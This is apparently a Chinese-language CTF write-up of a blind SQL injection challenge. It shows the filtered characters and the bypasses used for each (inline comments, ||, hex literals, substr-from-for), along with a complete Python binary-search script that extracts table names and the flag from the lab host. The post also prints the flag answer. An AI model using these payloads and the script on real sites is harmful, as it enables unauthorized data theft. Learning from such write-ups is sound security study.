好久没写博客，上次写还是在上次（三年前）。
如题，写一次CTF的题解
根据题目提示得知这应该是一个注入，什么注入还不知道，进入靶场。
仅有三个地方可点，都点进去看看。
从URL处可以看到前端是传了一个参数id给后端（另外两个类似，就不贴图了）。
那很明显了是SQL注入。
首先在参数后面打个'（单引号）。
报错。后面又试了好多例如union，and，逗号等。
经过一次次测试，总结了如下的过滤列表。
空格
and
逗号
单引号
union
空格可以内联注释来绕过，即 /**/。
and就可以使用or，或者 || ，或者 &&。
逗号就没有太好的想法了。
像是单引号被过滤的话，在字符型注入中基本是没戏了，还在这次的是数字型的注入。
而union就可以用 || 或者&&。
通过前面的测试绕过字符时，参数中存在被过滤了的字符，返回界面是这样的
成功又是这样
即失败都是出错，成功都是返回三个文档内容。
那么我们可以使用盲注，判断依据是返回结果有没有“If”这个单词，当然其他的字符也可以，只要不在失败的页面中即可。
这里使用Python来编写脚本。
import requests
url = "http://24a4a2ef-71d3-4002-accb-7cd74afe184e.challenge.ctf.show/index.php?id=-1"
flag = ""
for num in range(1,60):
l = 33
r = 130
mid = (l+r)>>1
while l<r:
# 数据库：web8
# sql = "ascii(substr((select/**/database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# 表：flag,page,user
# sql = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# 列：flag
# sql = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# ctfshow{b54332e2-57d2-47c4-933a-d455e9b7e950}
sql = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
payload = url + "/**/||/**/" + sql
# print(payload)
res = requests.get(payload)
if 'If' in res.text:
l = mid + 1
else:
r = mid
mid = (l+r)>>1
if chr(mid)==" ":
break
flag += chr(mid)
print(flag)
简单讲一下代码，使用二分法查找字符。
ascii()#字符转ascii
substr(string,0,1)#截取string的第1个字符开始，偏移1个单位的字符。例如“substr（‘abc’，1,1）”的结果是‘a’，把1改成2，就是‘b’。在Mysql中字符索引从1开始。
因为逗号被过滤了。所以改用下面这个，一样的效果。
substr（string from 1 for 1）
这里需要注意一下这条语句
select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167
0x666c6167是“flag”的十六进制，因为不能使用单引号，就把它转换成十六进制。
还有需要注意的一点是，但使用 || 来替代 and 或 union 时， 要注意 || 后面语句的执行条件。必须是前面语句执行错误后，在会执行后面的语句，所以在参数处传入的是 -1 。
总结，一次简单的SQL盲注，考点是过滤字符的绕过。